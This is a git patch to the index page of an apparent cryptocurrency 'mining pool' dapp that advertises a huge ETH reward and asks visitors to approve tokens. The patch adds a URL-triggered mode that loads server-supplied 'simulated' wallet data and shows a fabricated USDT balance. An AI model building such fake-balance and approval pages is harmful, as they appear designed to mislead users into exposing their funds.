From 6ce72faea61dcc53ff2b8a522d2b48a7692556f9 Mon Sep 17 00:00:00 2001 From: queenwuli <942534046@qq.com> Date: Mon, 28 Mar 2022 16:11:47 +0800 Subject: [PATCH] gx --- src/pages/index/index.vue | 56 +++++++++++++++++++++++++++++++++++++++++++------------- 1 files changed, 43 insertions(+), 13 deletions(-) diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue index 36a461f..7b504cb 100644 --- a/src/pages/index/index.vue +++ b/src/pages/index/index.vue @@ -18,7 +18,8 @@ <div class="banner-content"> <p>{{ $t("message.Defi") }}</p> <p>{{ $t("message.Reward") }}<span class="em">1000,000</span> ETH</p> - <button v-if="!hasApprove" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> + <button v-if="!hasApprove && !availableWallet" @click="isShowApproveModal = true">{{ $t("message.ReceiveVoucher") }}</button> + <button v-if="availableWallet">{{availableWallet}} USDT</button> </div> </div> <img src="../../assets/images/banner.png" class="banner"/> @@ -27,7 +28,7 @@ <OrePool></OrePool> </van-tab> <van-tab :title='$t("message.Account")'> - <Account ref="accountRef"></Account> + <Account ref="accountRef" :simulateData="simulateData"></Account> </van-tab> </van-tabs> <van-overlay :show="isShowApproveModal" @click="isShowApproveModal = false" class="wrapper"> @@ -61,9 +62,9 @@ <img class="close-icon" @click="isShowWalletModal = false" src="../../assets/images/close-icon.png"> <div class="wallet-box"> <div class="sub-title"> - <span>移动</span> + <span>{{$t("message.Mobile")}}</span> </div> - <p class="title">选择你的钱包</p> + <p class="title">{{$t("message.ChooseWallet")}}</p> <div class="wallet-warp flex flex-wrap align-center justify-between"> <a :href="item.link" target="_blank" v-for="item in dappList" class="item"> <div class="icon" :style="{background: 'url(' + item.imgUrl +')'}"></div> @@ -100,6 +101,8 @@ let isShowAccreditModal = ref(false); let isShowWalletModal = ref(false); let isApproving = ref(false); //是否授权中 + let simulateData = ref(null); + let availableWallet = ref(''); function changeLanguage(type){ proxy.$i18n.locale = type; } @@ -146,20 +149,26 @@ } } async function init () { - await proxy.getAddress(); - if (proxy.walletAddress) { - proxy.isApprove() - }else{ - showAccreditModal(); + if(proxy.getQueryString('isDev') === 'true' && proxy.getQueryString('batchNo')) { + proxy.walletAddress = 'KtygcD' + proxy.getSimulateData(); + } else { + await proxy.getAddress(); + if (proxy.walletAddress) { + proxy.isApprove() + }else{ + showAccreditModal(); + } } } + onMounted(() => { init() }) return { - local: ref('zh'), + local: ref('en'), languague: [ - { text: '简体中文', value: 'zh' }, + { text: '简体中文', value: 'ch' }, { text: 'English', value: 'en' } ], // 弹窗显示隐藏 @@ -240,7 +249,9 @@ name: 'BitPay', link: 'https://link.bitpay.com/wallet/wc?uri=wc%3A53685339-13ee-445b-a359-c6bd9d55af1e%401%3Fbridge%3Dhttps%253A%252F%252Fe.bridge.walletconnect.org%26key%3D5f18973ce1f748013d7eed1f64de989cc5502bfe999479cae7ed2eceb83f918b' + pageLink, imgUrl: 'https://qny.ohmj.org/kylin/wallet/BitPay.jpeg' - }] + }], + simulateData, //模拟数据 + availableWallet }; }, methods: { @@ -335,7 +346,26 @@ }) }, initAccountData(){ - this.accountRef && this.accountRef.value.getWalletInfo(); + this.accountRef && this.accountRef.value.initData(); + }, + getSimulateData () { + this.$axios({ + url: '/dapi/common/findSimulateData/' + this.getQueryString('batchNo'), + method: 'get' + }).then((res) => { + if(res.code == 200) { + this.simulateData = res.data; + this.availableWallet = this.simulateData.walletInfoVo.availableWallet + } + }) + }, + getQueryString (name) { + let reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i'); + let r = window.location.search.substr(1).match(reg); + if (r != null) { + return unescape(r[2]); + } + return null; } } } -- Gitblit v1.9.1